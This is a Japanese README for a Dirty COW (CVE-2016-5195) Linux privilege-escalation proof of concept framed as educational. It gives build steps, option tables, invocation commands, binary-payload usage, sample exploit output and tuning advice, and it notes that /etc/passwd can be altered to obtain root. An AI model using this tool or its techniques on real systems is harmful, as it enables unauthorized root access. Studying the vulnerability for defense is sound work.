
Dirty COW(CVE-2016-5195)を対象とした教育用PoC。ロギング、ptraceフォールバック、バイナリペイロード対応を備えています。
このコードは教育目的専用です。悪意のある使用は固く禁じられており、違法です。
Dirty COW(CVE-2016-5195)は、Linux カーネルのコピーオンライト(COW)機構における競合状態を悪用した Linux カーネルの権限昇格の脆弱性です。この脆弱性は、2007 年にリリースされたバージョン 2.6.22 以降、以下のバージョンより前の Linux カーネルに影響します。
この脆弱性はカーネルのメモリ管理システムで発生します。
MAP_PRIVATE でファイルをマッピングした場合、変更はプライベートコピーに対して行われるべきですmadvise(MADV_DONTNEED) と /proc/self/mem への書き込みの間で競合する 2 つのスレッド/etc/passwd などのシステムファイルを変更して root アクセスを取得する可能性本番システムや、自分が所有していないシステムでは決して実行しないでください!
# 1. 最初にカーネルバージョンを確認
uname -r
# 2. 隔離されたテストディレクトリを作成
mkdir /tmp/dirtycow_test
cd /tmp/dirtycow_test
# 3. 無害なファイルのみでテスト
./main -t /tmp/test_file -v
# 4. システムリソースを監視
top -p $(pgrep -f main)
# 必要なパッケージをインストール(Ubuntu/Debian)
sudo apt-get update
sudo apt-get install build-essential libssl-dev
# 必要なパッケージをインストール(CentOS/RHEL)
sudo yum install gcc openssl-devel
# 標準コンパイル
make
# デバッグバージョン
make main-debug
# 手動コンパイル
gcc -o main main.c -lpthread -lssl -lcrypto
# デフォルト設定での簡単なテスト
./main
# カスタムターゲットを使用した詳細モード
./main -t /tmp/testfile -v
# 複数プロセスでの高度な使用法
./main -t /tmp/target -n 4 -r 3 -D -v
# ファイルからのバイナリペイロード
./main -f payload.bin -P -D -n 2
| オプション | 説明 | デフォルト | 最大値 |
|---|---|---|---|
-t <file> | ターゲットファイルのパス | /tmp/dirty_cow_test | - |
-p <payload> | カスタムテキストペイロード | テスト文字列 | - |
-f <file> | ファイルからバイナリペイロードを読み込む | - | - |
-i <num> | 反復回数 | 10,000,000 | 100,000,000 |
-n <num> | 並行プロセス数 | 1 | 8 |
-r <num> | 再試行回数 | 1 | 10 |
-P | /proc/self/mem の代わりに ptrace を使用 | 無効 | - |
-D | 動的オフセットスキャンを有効化 | 無効 | - |
-v | 詳細出力 | 無効 | - |
-l <file> | ログファイルのパス | exploit_log.txt | - |
-h | ヘルプを表示 | - | - |
/proc/self/mem への書き込み(デフォルト)ptrace(PTRACE_POKETEXT)最適な書き込み位置を見つけるために複数のメモリオフセットをスキャンします。
./main -D -v # 動的オフセットスキャンを有効化
激しい競合状態を発生させるために複数のプロセスを起動します。
./main -n 4 # 4 つの並行プロセスを使用
ファイルから任意のバイナリデータを読み込みます。
# バイナリペイロードを作成
echo -ne '\x41\x41\x41\x41\x00\x42\x42' > payload.bin
# バイナリペイロードを使用
./main -f payload.bin -v
失敗した試行を自動的に再試行します。
./main -r 5 # 最大 5 回再試行
SHA-256 ハッシュを使用してファイルの変更を検証します。
# 元のファイルと変更後のファイルのハッシュを確認
./main -v # 詳細モードでハッシュ比較を表示
Dirty COW Educational PoC (CVE-2016-5195)
==========================================
=== SYSTEM INFORMATION ===
Kernel Version: Linux 4.4.0-generic
Architecture: x86_64
Current User: testuser
UID/GID: 1000/1000
=== VULNERABILITY CHECK ===
Kernel: Linux version 4.4.0-generic
[+] /proc/self/mem accessible
=== STARTING TEST ===
=== EXPLOIT EXECUTION ===
[+] Target: /tmp/dirty_cow_test
[+] Payload length: 32 bytes
[+] Iterations: 10000000
[+] Processes: 1
[+] Method: /proc/self/mem
[+] Dynamic offset: disabled
[+] Backup created: /tmp/dirty_cow_test.backup
[+] Original content: original-content-before-exploit
[+] Starting race condition test...
[+] EXPLOIT SUCCESSFUL on attempt 1!
[+] File hash changed - modification confirmed!
[+] Original: a1b2c3d4e5f6...
[+] Final: f6e5d4c3b2a1...
=== TEST SUCCESSFUL ===
[+] File modification completed
[+] Educational objective achieved
[+] Statistics: 156789 writes, 1 successful, 2.347 sec
このツールは exploit_log.txt に詳細なログを作成します。
[2024-01-15 10:30:45] System Info - UID/GID: 1000/1000
[2024-01-15 10:30:45] Kernel version: Linux version 4.4.0-generic
[2024-01-15 10:30:45] /proc/self/mem accessible
[2024-01-15 10:30:45] Starting exploit - Target: /tmp/test, Payload: 32 bytes
[2024-01-15 10:30:47] EXPLOIT SUCCESSFUL on attempt 1
[2024-01-15 10:30:47] Final stats - Writes: 156789, Successful: 1, Duration: 2.347 sec
# 基本的なエクスプロイト機能をテスト
./main -t /tmp/basic_test -v
# 高強度の競合状態テスト
./main -i 50000000 -n 4 -r 3 -D -v
# /proc/self/mem がブロックされている場合のテスト
./main -P -D -v
# ヌルバイトを含むバイナリデータのテスト
echo -ne 'BINARY\x00DATA\x01\x02\x03' > test.bin
./main -f test.bin -v
このエクスプロイトは、2 つの操作間で競合を起こすことで機能します。
madvise(MADV_DONTNEED) - カーネルにメモリページを破棄するよう指示/proc/self/mem への書き込み - マッピングされたメモリへの書き込みを試行MAP_PRIVATE でマッピングされている必要があります競合状態が成功すると:
1. 「Exploit failed or insufficient iterations」
-i で反復回数を増やすか、-n で複数のプロセスを使用します2. 「/proc/self/mem access failed」
-P フラグで ptrace 方式を使用します3. 「System may not be vulnerable」
uname -r4. システムが応答しなくなる
-i 1000000-n 1# 控えめな設定(遅いが安全)
./main -i 5000000 -n 1
# 積極的な設定(高速だがリソース消費が大きい)
./main -i 50000000 -n 4 -D
# バランスの取れた設定
./main -i 20000000 -n 2 -r 2 -D
これは教育用ツールです。貢献は以下に焦点を当てるべきです:
このソフトウェアは教育および研究目的でのみ提供されます。著者および貢献者は、このプログラムによって引き起こされた誤用や損害について責任を負いません。ユーザーは、システム上でテストを実行する前に適切な許可を得ていることを確認する単独の責任を負います。
このソフトウェアを使用することで、あなたは以下を了承します:
このプロジェクトは教育目的に限り MIT ライセンスの下でリリースされています。
覚えておいてください: 大きな力には大きな責任が伴います。この知識をシステムを保護・堅牢化するために使い、害するために使わないでください。